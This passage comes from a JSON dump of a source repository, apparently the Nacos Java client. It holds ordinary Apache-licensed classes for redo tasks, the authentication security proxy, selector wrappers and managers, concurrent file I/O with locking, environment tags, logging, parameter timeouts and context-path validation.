synchronized (actualRedoData) {\n            return (RedoData<T>) actualRedoData.get(key);\n        }\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/redo/service/AbstractRedoTask.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.redo.service;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.task.AbstractExecuteTask;\nimport org.slf4j.Logger;\n\n/**\n * Nacos client abstract redo task.\n *\n * @author xiweng.yy\n */\npublic abstract class AbstractRedoTask<S extends AbstractRedoService> extends AbstractExecuteTask {\n    \n    private final Logger logger;\n    \n    private final S redoService;\n    \n    public AbstractRedoTask(Logger logger, S redoService) {\n        this.logger = logger;\n        this.redoService = redoService;\n    }\n    \n    @Override\n    public void run() {\n        if (!redoService.isConnected()) {\n            logger.warn(\"Grpc Connection is disconnect, skip current redo task\");\n            return;\n        }\n        try {\n            redoData();\n        } catch (Exception e) {\n            logger.warn(\"Redo task run with unexpected exception: \", e);\n        }\n    }\n    \n    /**\n     * Do actual redo task.\n     *\n     * @throws NacosException if redo task failed.\n     */\n    protected abstract void redoData() throws NacosException;\n    \n    protected S getRedoService() {\n        return redoService;\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/security/SecurityProxy.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.security;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.address.AbstractServerListManager;\nimport com.alibaba.nacos.client.address.ServerListChangeEvent;\nimport com.alibaba.nacos.client.auth.impl.NacosAuthLoginConstant;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport com.alibaba.nacos.common.lifecycle.Closeable;\nimport com.alibaba.nacos.common.notify.Event;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.notify.listener.Subscriber;\nimport com.alibaba.nacos.plugin.auth.api.LoginIdentityContext;\nimport com.alibaba.nacos.plugin.auth.api.RequestResource;\nimport com.alibaba.nacos.plugin.auth.spi.client.ClientAuthPluginManager;\nimport com.alibaba.nacos.plugin.auth.spi.client.ClientAuthService;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Properties;\n\n/**\n * Security proxy to update security information.\n *\n * @author nkorange\n * @since 1.2.0\n */\npublic class SecurityProxy implements Closeable {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(SecurityProxy.class);\n    \n    private ClientAuthPluginManager clientAuthPluginManager;\n    \n    /**\n     * Construct from serverListManager, nacosRestTemplate, init client auth plugin.\n     *\n     * @param serverListManager a server list manager that client request to.\n     * @Param nacosRestTemplate http request template.\n     */\n    public SecurityProxy(AbstractServerListManager serverListManager, NacosRestTemplate nacosRestTemplate) {\n        clientAuthPluginManager = new ClientAuthPluginManager();\n        clientAuthPluginManager.init(serverListManager.getServerList(), nacosRestTemplate);\n        NotifyCenter.registerSubscriber(new Subscriber<ServerListChangeEvent>() {\n            @Override\n            public void onEvent(ServerListChangeEvent event) {\n                clientAuthPluginManager.refreshServerList(serverListManager.getServerList());\n            }\n            \n            @Override\n            public Class<? extends Event> subscribeType() {\n                return ServerListChangeEvent.class;\n            }\n        });\n    }\n    \n    /**\n     * Login all available ClientAuthService instance.\n     *\n     * @param properties login identity information.\n     */\n    public void login(Properties properties) {\n        if (clientAuthPluginManager.getAuthServiceSpiImplSet().isEmpty()) {\n            return;\n        }\n        for (ClientAuthService clientAuthService : clientAuthPluginManager.getAuthServiceSpiImplSet()) {\n            clientAuthService.login(properties);\n        }\n    }\n    \n    /**\n     * get the context of all nacosRestTemplate instance.\n     *\n     * @return a combination of all context.\n     */\n    public Map<String, String> getIdentityContext(RequestResource resource) {\n        Map<String, String> header = new HashMap<>(1);\n        for (ClientAuthService clientAuthService : clientAuthPluginManager.getAuthServiceSpiImplSet()) {\n            LoginIdentityContext loginIdentityContext = clientAuthService.getLoginIdentityContext(resource);\n            for (String key : loginIdentityContext.getAllKey()) {\n                header.put(key, loginIdentityContext.getParameter(key));\n            }\n        }\n        return header;\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n        clientAuthPluginManager.shutdown();\n    }\n    \n    /**\n     * Login again to refresh the accessToken.\n     */\n    public void reLogin() {\n        if (clientAuthPluginManager.getAuthServiceSpiImplSet().isEmpty()) {\n            return;\n        }\n        for (ClientAuthService clientAuthService : clientAuthPluginManager.getAuthServiceSpiImplSet()) {\n            try {\n                LoginIdentityContext loginIdentityContext = clientAuthService.getLoginIdentityContext(new RequestResource());\n                if (loginIdentityContext != null) {\n                    loginIdentityContext.setParameter(NacosAuthLoginConstant.RELOGINFLAG, \"true\");\n                }\n            } catch (Exception e) {\n                LOGGER.error(\"[SecurityProxy] set reLoginFlag failed.\", e);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/selector/AbstractSelectorWrapper.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.selector;\n\nimport com.alibaba.nacos.api.selector.client.Selector;\nimport com.alibaba.nacos.common.notify.Event;\n\nimport java.util.Objects;\n\n/**\n * Selector Wrapper.\n *\n * @param <S> the type of selector\n * @param <T> the type of original event\n * @param <E> the type of listener callback event\n * @author lideyou\n */\npublic abstract class AbstractSelectorWrapper<S extends Selector<?, ?>, E, T extends Event> {\n    \n    private final S selector;\n    \n    private final ListenerInvoker<E> listener;\n    \n    public AbstractSelectorWrapper(S selector, ListenerInvoker<E> listener) {\n        this.selector = selector;\n        this.listener = listener;\n    }\n    \n    /**\n     * Check whether the event can be callback.\n     *\n     * @param event original event\n     * @return true if the event can be callback\n     */\n    protected abstract boolean isSelectable(T event);\n    \n    /**\n     * Check whether the result can be callback.\n     *\n     * @param event select result\n     * @return true if the result can be callback\n     */\n    protected abstract boolean isCallable(E event);\n    \n    /**\n     * Build an event received by the listener.\n     *\n     * @param event original event\n     * @return listener event\n     */\n    protected abstract E buildListenerEvent(T event);\n    \n    /**\n     * Notify listener.\n     *\n     * @param event original event\n     */\n    public void notifyListener(T event) {\n        if (!isSelectable(event)) {\n            return;\n        }\n        E newEvent = buildListenerEvent(event);\n        if (isCallable(newEvent)) {\n            // lock listener to make sure isInvoked is thread safe.\n            synchronized (listener) {\n                listener.invoke(newEvent);\n            }\n        }\n    }\n    \n    /**\n     * Notify listener If the listener is not invoked.\n     *\n     * @param event original event\n     */\n    public void notifyIfListenerIfNotNotified(T event) {\n        if (!isSelectable(event)) {\n            return;\n        }\n        E newEvent = buildListenerEvent(event);\n        synchronized (listener) {\n            if (!listener.isInvoked()) {\n                listener.invoke(newEvent);\n            }\n        }\n    }\n    \n    public ListenerInvoker<E> getListener() {\n        return this.listener;\n    }\n    \n    public S getSelector() {\n        return this.selector;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (this == o) {\n            return true;\n        }\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        AbstractSelectorWrapper<?, ?, ?> that = (AbstractSelectorWrapper<?, ?, ?>) o;\n        return Objects.equals(selector, that.selector) && Objects.equals(listener, that.listener);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(selector, listener);\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/selector/ListenerInvoker.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.selector;\n\n/**\n * Listener invoker.\n *\n * @param <E> the type of event received by the listener\n * @author lideyou\n */\npublic interface ListenerInvoker<E> {\n    \n    /**\n     * Invoke inner listener.\n     *\n     * @param event event\n     */\n    void invoke(E event);\n    \n    /**\n     * Mark the listener whether invoked once. It should return {@code true} after {@link #invoke(E)} called at lease once.\n     *\n     * @return {@code true} if this listener has invoked at least once, {@code false} otherwise\n     */\n    boolean isInvoked();\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/selector/SelectorManager.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.selector;\n\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.common.utils.ConcurrentHashSet;\n\nimport java.util.Collections;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.concurrent.ConcurrentHashMap;\n\n/**\n * Selector Manager.\n *\n * @param <S> the type of selector wrapper\n * @author lideyou\n */\npublic class SelectorManager<S extends AbstractSelectorWrapper<?, ?, ?>> {\n    \n    Map<String, Set<S>> selectorMap = new ConcurrentHashMap<>();\n    \n    /**\n     * Add a selectorWrapper to subId.\n     *\n     * @param subId   subscription id\n     * @param wrapper selector wrapper\n     */\n    public void addSelectorWrapper(String subId, S wrapper) {\n        selectorMap.compute(subId, (k, v) -> {\n            if (v == null) {\n                v = new ConcurrentHashSet<>();\n            }\n            v.add(wrapper);\n            return v;\n        });\n    }\n    \n    /**\n     * Get all SelectorWrappers by id.\n     *\n     * @param subId subscription id\n     * @return the set of SelectorWrappers\n     */\n    public Set<S> getSelectorWrappers(String subId) {\n        return selectorMap.getOrDefault(subId, Collections.emptySet());\n    }\n    \n    /**\n     * Remove a SelectorWrapper by id.\n     *\n     * @param subId   subscription id\n     * @param wrapper selector wrapper\n     */\n    public void removeSelectorWrapper(String subId, S wrapper) {\n        selectorMap.computeIfPresent(subId, (k, v) -> {\n            v.remove(wrapper);\n            return v.isEmpty() ? null : v;\n        });\n    }\n    \n    /**\n     * Remove a subscription by id.\n     *\n     * @param subId subscription id\n     */\n    public void removeSubscription(String subId) {\n        selectorMap.remove(subId);\n    }\n    \n    /**\n     * Get all subscriptions.\n     *\n     * @return all subscriptions\n     */\n    public Set<String> getSubscriptions() {\n        return selectorMap.keySet();\n    }\n    \n    /**\n     * Determine whether subId is subscribed.\n     *\n     * @param subId subscription id\n     * @return true if is subscribed\n     */\n    public boolean isSubscribed(String subId) {\n        return CollectionUtils.isNotEmpty(this.getSelectorWrappers(subId));\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/utils/ConcurrentDiskUtil.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.utils;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.io.RandomAccessFile;\nimport java.nio.ByteBuffer;\nimport java.nio.CharBuffer;\nimport java.nio.channels.FileChannel;\nimport java.nio.channels.FileLock;\nimport java.nio.charset.Charset;\nimport java.nio.charset.CharsetDecoder;\n\n/**\n * Concurrent Disk util.\n *\n * @author nkorange\n */\npublic class ConcurrentDiskUtil {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(ConcurrentDiskUtil.class);\n    \n    private static final String READ_ONLY = \"r\";\n    \n    private static final String READ_WRITE = \"rw\";\n    \n    private static final int RETRY_COUNT = 10;\n    \n    private static final int SLEEP_BASETIME = 10;\n    \n    /**\n     * get file content.\n     *\n     * @param path        file path\n     * @param charsetName charsetName\n     * @return content\n     * @throws IOException IOException\n     */\n    public static String getFileContent(String path, String charsetName) throws IOException {\n        File file = new File(path);\n        return getFileContent(file, charsetName);\n    }\n    \n    /**\n     * get file content.\n     *\n     * @param file        file\n     * @param charsetName charsetName\n     * @return content\n     * @throws IOException IOException\n     */\n    public static String getFileContent(File file, String charsetName) throws IOException {\n        try (RandomAccessFile fis = new RandomAccessFile(file, READ_ONLY);\n                FileChannel fcin = fis.getChannel();\n                FileLock rlock = tryLock(file, fcin, true)) {\n            int fileSize = (int) fcin.size();\n            ByteBuffer byteBuffer = ByteBuffer.allocate(fileSize);\n            fcin.read(byteBuffer);\n            byteBuffer.flip();\n            return byteBufferToString(byteBuffer, charsetName);\n        }\n    }\n    \n    /**\n     * write file content.\n     *\n     * @param path        file path\n     * @param content     content\n     * @param charsetName charsetName\n     * @return whether write ok\n     * @throws IOException IOException\n     */\n    public static Boolean writeFileContent(String path, String content, String charsetName) throws IOException {\n        File file = new File(path);\n        return writeFileContent(file, content, charsetName);\n    }\n    \n    /**\n     * write file content.\n     *\n     * @param file        file\n     * @param content     content\n     * @param charsetName charsetName\n     * @return whether write ok\n     * @throws IOException IOException\n     */\n    public static Boolean writeFileContent(File file, String content, String charsetName) throws IOException {\n        \n        if (!file.exists() && !file.createNewFile()) {\n            return false;\n        }\n        try (RandomAccessFile raf = new RandomAccessFile(file, READ_WRITE);\n                FileChannel channel = raf.getChannel();\n                FileLock lock = tryLock(file, channel, false)) {\n            byte[] contentBytes = content.getBytes(charsetName);\n            ByteBuffer sendBuffer = ByteBuffer.wrap(contentBytes);\n            while (sendBuffer.hasRemaining()) {\n                channel.write(sendBuffer);\n            }\n            channel.truncate(contentBytes.length);\n        } catch (FileNotFoundException e) {\n            throw new IOException(\"file not exist\");\n        }\n        return true;\n    }\n    \n    /**\n     * transfer ByteBuffer to String.\n     *\n     * @param buffer      buffer\n     * @param charsetName charsetName\n     * @return String\n     * @throws IOException IOException\n     */\n    public static String byteBufferToString(ByteBuffer buffer, String charsetName) throws IOException {\n        Charset charset = Charset.forName(charsetName);\n        CharsetDecoder decoder = charset.newDecoder();\n        CharBuffer charBuffer = decoder.decode(buffer.asReadOnlyBuffer());\n        return charBuffer.toString();\n    }\n    \n    private static void sleep(int time) {\n        try {\n            Thread.sleep(time);\n        } catch (InterruptedException e) {\n            LOGGER.warn(\"sleep wrong\", e);\n            // set the interrupted flag\n            Thread.currentThread().interrupt();\n        }\n    }\n    \n    private static FileLock tryLock(File file, FileChannel channel, boolean shared) throws IOException {\n        FileLock result = null;\n        int i = 0;\n        do {\n            try {\n                result = channel.tryLock(0L, Long.MAX_VALUE, shared);\n            } catch (Exception e) {\n                ++i;\n                if (i > RETRY_COUNT) {\n                    LOGGER.error(\"[NA] lock \" + file.getName() + \" fail;retryed time: \" + i, e);\n                    throw new IOException(\"lock \" + file.getAbsolutePath() + \" conflict\");\n                }\n                sleep(SLEEP_BASETIME * i);\n                LOGGER.warn(\"lock \" + file.getName() + \" conflict;retry time: \" + i);\n            }\n        } while (null == result);\n        return result;\n    }\n    \n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/utils/EnvUtil.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.utils;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport org.slf4j.Logger;\n\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Objects;\n\n/**\n * env util.\n *\n * @author Nacos\n */\npublic class EnvUtil {\n    \n    public static final Logger LOGGER = LogUtils.logger(EnvUtil.class);\n    \n    private static String selfAmoryTag;\n    \n    private static String selfVipserverTag;\n    \n    private static String selfLocationTag;\n    \n    public static void setSelfEnv(Map<String, List<String>> headers) {\n        if (headers != null) {\n            List<String> amoryTagTmp = headers.get(Constants.AMORY_TAG);\n            if (amoryTagTmp == null) {\n                if (selfAmoryTag != null) {\n                    selfAmoryTag = null;\n                    LOGGER.warn(\"selfAmoryTag:null\");\n                }\n            } else {\n                String amoryTagTmpStr = listToString(amoryTagTmp);\n                if (!Objects.equals(amoryTagTmpStr, selfAmoryTag)) {\n                    selfAmoryTag = amoryTagTmpStr;\n                    LOGGER.warn(\"selfAmoryTag:{}\", selfAmoryTag);\n                }\n            }\n            \n            List<String> vipserverTagTmp = headers.get(Constants.VIPSERVER_TAG);\n            if (vipserverTagTmp == null) {\n                if (selfVipserverTag != null) {\n                    selfVipserverTag = null;\n                    LOGGER.warn(\"selfVipserverTag:null\");\n                }\n            } else {\n                String vipserverTagTmpStr = listToString(vipserverTagTmp);\n                if (!Objects.equals(vipserverTagTmpStr, selfVipserverTag)) {\n                    selfVipserverTag = vipserverTagTmpStr;\n                    LOGGER.warn(\"selfVipserverTag:{}\", selfVipserverTag);\n                }\n            }\n            List<String> locationTagTmp = headers.get(Constants.LOCATION_TAG);\n            if (locationTagTmp == null) {\n                if (selfLocationTag != null) {\n                    selfLocationTag = null;\n                    LOGGER.warn(\"selfLocationTag:null\");\n                }\n            } else {\n                String locationTagTmpStr = listToString(locationTagTmp);\n                if (!Objects.equals(locationTagTmpStr, selfLocationTag)) {\n                    selfLocationTag = locationTagTmpStr;\n                    LOGGER.warn(\"selfLocationTag:{}\", selfLocationTag);\n                }\n            }\n        }\n    }\n    \n    public static String getSelfAmoryTag() {\n        return selfAmoryTag;\n    }\n    \n    public static String getSelfVipserverTag() {\n        return selfVipserverTag;\n    }\n    \n    public static String getSelfLocationTag() {\n        return selfLocationTag;\n    }\n    \n    private static String listToString(List<String> list) {\n        if (list == null || list.isEmpty()) {\n            return null;\n        }\n        StringBuilder result = new StringBuilder();\n        for (String string : list) {\n            result.append(string);\n            result.append(',');\n        }\n        return result.substring(0, result.length() - 1);\n    }\n}"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/utils/LogUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.utils;\n\nimport com.alibaba.nacos.client.logging.NacosLogging;\nimport org.slf4j.Logger;\n\nimport static org.slf4j.LoggerFactory.getLogger;\n\n/**\n * Log utils.\n *\n * @author <a href=\"mailto:huangxiaoyu1018@gmail.com\">hxy1991</a>\n * @since 0.9.0\n */\npublic class LogUtils {\n    \n    public static final Logger NAMING_LOGGER;\n    \n    static {\n        NacosLogging.getInstance().loadConfiguration();\n        NAMING_LOGGER = getLogger(\"com.alibaba.nacos.client.naming\");\n    }\n    \n    public static Logger logger(Class<?> clazz) {\n        return getLogger(clazz);\n    }\n    \n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/utils/ParamUtil.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.utils;\n\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.slf4j.Logger;\n\n/**\n * manage param tool.\n *\n * @author nacos\n */\npublic class ParamUtil {\n    \n    private static final Logger LOGGER = LogUtils.logger(ParamUtil.class);\n    \n    private static int connectTimeout;\n    \n    private static int readTimeout;\n    \n    private static double perTaskConfigSize;\n    \n    private static final String NACOS_CONNECT_TIMEOUT_KEY = \"NACOS.CONNECT.TIMEOUT\";\n    \n    private static final String NACOS_READ_TIMEOUT_KEY = \"NACOS.READ.TIMEOUT\";\n    \n    private static final String DEFAULT_NACOS_CONNECT_TIMEOUT = \"1000\";\n    \n    private static final String DEFAULT_NACOS_READ_TIMEOUT = \"3000\";\n    \n    private static final String PER_TASK_CONFIG_SIZE_KEY = \"PER_TASK_CONFIG_SIZE\";\n    \n    private static final String DEFAULT_PER_TASK_CONFIG_SIZE_KEY = \"3000\";\n    \n    static {\n        // Client identity information\n        connectTimeout = initConnectionTimeout();\n        LOGGER.info(\"[settings] [http-client] connect timeout:{}\", connectTimeout);\n        \n        readTimeout = initReadTimeout();\n        LOGGER.info(\"[settings] [http-client] read timeout:{}\", readTimeout);\n        \n        perTaskConfigSize = initPerTaskConfigSize();\n        LOGGER.info(\"PER_TASK_CONFIG_SIZE: {}\", perTaskConfigSize);\n    }\n    \n    private static int initConnectionTimeout() {\n        String tmp = DEFAULT_NACOS_CONNECT_TIMEOUT;\n        try {\n            tmp = NacosClientProperties.PROTOTYPE.getProperty(NACOS_CONNECT_TIMEOUT_KEY, DEFAULT_NACOS_CONNECT_TIMEOUT);\n            return Integer.parseInt(tmp);\n        } catch (NumberFormatException e) {\n            final String msg = \"[http-client] invalid connect timeout:\" + tmp;\n            LOGGER.error(\"[settings] \" + msg, e);\n            throw new IllegalArgumentException(msg, e);\n        }\n    }\n    \n    private static int initReadTimeout() {\n        String tmp = DEFAULT_NACOS_READ_TIMEOUT;\n        try {\n            tmp = NacosClientProperties.PROTOTYPE.getProperty(NACOS_READ_TIMEOUT_KEY, DEFAULT_NACOS_READ_TIMEOUT);\n            return Integer.parseInt(tmp);\n        } catch (NumberFormatException e) {\n            final String msg = \"[http-client] invalid read timeout:\" + tmp;\n            LOGGER.error(\"[settings] \" + msg, e);\n            throw new IllegalArgumentException(msg, e);\n        }\n    }\n    \n    private static double initPerTaskConfigSize() {\n        try {\n            return Double.parseDouble(NacosClientProperties.PROTOTYPE.getProperty(PER_TASK_CONFIG_SIZE_KEY,\n                    DEFAULT_PER_TASK_CONFIG_SIZE_KEY));\n        } catch (NumberFormatException e) {\n            LOGGER.error(\"[PER_TASK_CONFIG_SIZE] PER_TASK_CONFIG_SIZE invalid\", e);\n            throw new IllegalArgumentException(\"invalid PER_TASK_CONFIG_SIZE, expected value type double\", e);\n        }\n    }\n    \n    public static int getConnectTimeout() {\n        return connectTimeout;\n    }\n    \n    public static void setConnectTimeout(int connectTimeout) {\n        ParamUtil.connectTimeout = connectTimeout;\n    }\n    \n    public static int getReadTimeout() {\n        return readTimeout;\n    }\n    \n    public static void setReadTimeout(int readTimeout) {\n        ParamUtil.readTimeout = readTimeout;\n    }\n    \n    public static double getPerTaskConfigSize() {\n        return perTaskConfigSize;\n    }\n    \n    public static void setPerTaskConfigSize(double perTaskConfigSize) {\n        ParamUtil.perTaskConfigSize = perTaskConfigSize;\n    }\n    \n    public static final int MAX_ENV_NAME_LENGTH = 50;\n    \n    /**\n     * simply env name if name is too long.\n     *\n     * @param envName env name.\n     * @return env name.\n     */\n    public static String simplyEnvNameIfOverLimit(String envName) {\n        if (StringUtils.isNotBlank(envName) && envName.length() > MAX_ENV_NAME_LENGTH) {\n            return envName.substring(0, MAX_ENV_NAME_LENGTH) + MD5Utils.md5Hex(envName, \"UTF-8\");\n        }\n        return envName;\n    }\n    \n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/utils/PreInitUtils.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.utils;\n\nimport com.alibaba.nacos.client.auth.ram.utils.SpasAdapter;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\n\n/**\n * Async do pre init to load some cost component.\n *\n * <ul>\n *     <li>JacksonUtil</li>\n *     <li>SpasAdapter</li>\n * </ul>\n *\n * @author xiweng.yy\n */\npublic class PreInitUtils {\n    \n    /**\n     * Async pre load cost component.\n     */\n    public static void asyncPreLoadCostComponent() {\n        Thread preLoadThread = new Thread(() -> {\n            // Jackson util will init static {@code ObjectMapper}, which will cost hundreds milliseconds.\n            JacksonUtils.createEmptyJsonNode();\n            // Ram auth plugin will try to get credential from env and system when leak input identity by properties.\n            SpasAdapter.getAk();\n        });\n        preLoadThread.start();\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/utils/ValidatorUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.utils;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\n\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\n/**\n * All parameter validation tools.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic final class ValidatorUtils {\n    \n    private static final Pattern CONTEXT_PATH_MATCH = Pattern.compile(\"(\\\\/)\\\\1+\");\n    \n    public static void checkInitParam(NacosClientProperties properties) throws NacosException {\n        checkContextPath(properties.getProperty(PropertyKeyConst.CONTEXT_PATH));\n    }\n    \n    /**\n     * Check context path.\n     *\n     * @param contextPath context path\n     */\n    public static void checkContextPath(String contextPath) {\n        if (contextPath == null) {\n            return;\n        }\n        Matcher matcher = CONTEXT_PATH_MATCH.matcher(contextPath);\n        if (matcher.find()) {\n            throw new IllegalArgumentException(\"Illegal url path expression\");\n        }\n    }\n    \n}\n"
  },
  {
    "path": "client/src/main/resources/META-INF/native-image/com.alibaba.nacos/nacos-client/jni-config.json",
